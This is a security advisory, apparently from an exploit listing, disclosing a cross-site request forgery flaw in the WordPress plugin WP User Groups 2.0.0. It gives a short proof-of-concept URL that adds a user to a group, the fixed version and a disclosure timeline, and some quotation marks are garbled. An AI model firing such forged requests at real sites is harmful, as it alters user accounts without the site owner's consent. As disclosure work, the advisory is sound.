WordPress WP User Groups 2.0.0 Cross Site Request Forgery

Authors:Tom Adams                Risk:Low

CVE:NO                          0day:Cross Site Request Forgery  

0day -id:0DAY-176167             Date:2018-05-13


CSRF in WP User Groups allows anybody to modify user groups and types


WP User Groups creates new bulk actions to put users into (or remove them from) agroupsa and atypesa. A nonce is sent with the request, but it is not checked.

Proof of concept

Activate the plugin
Make sure you have a user with user_id=1
Visit http://localhost/wp-admin/edit-tags.php?taxonomy=user-group and create a group called aCata with slug acata
Visit http://localhost/wp-admin/users.php?users%5B%5D=1&action2=add-cat-user-group
If you go back to http://localhost/wp-admin/users.php youall see the user with user_id=1 is now in the group aCata


Upgrade to version 2.1.1 or later.

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2018-04-12: Discovered
2018-04-16: Reported to plugin author via email
2018-04-16: Vendor reported fixed in 2.1.1
2018-05-11: Advisory published

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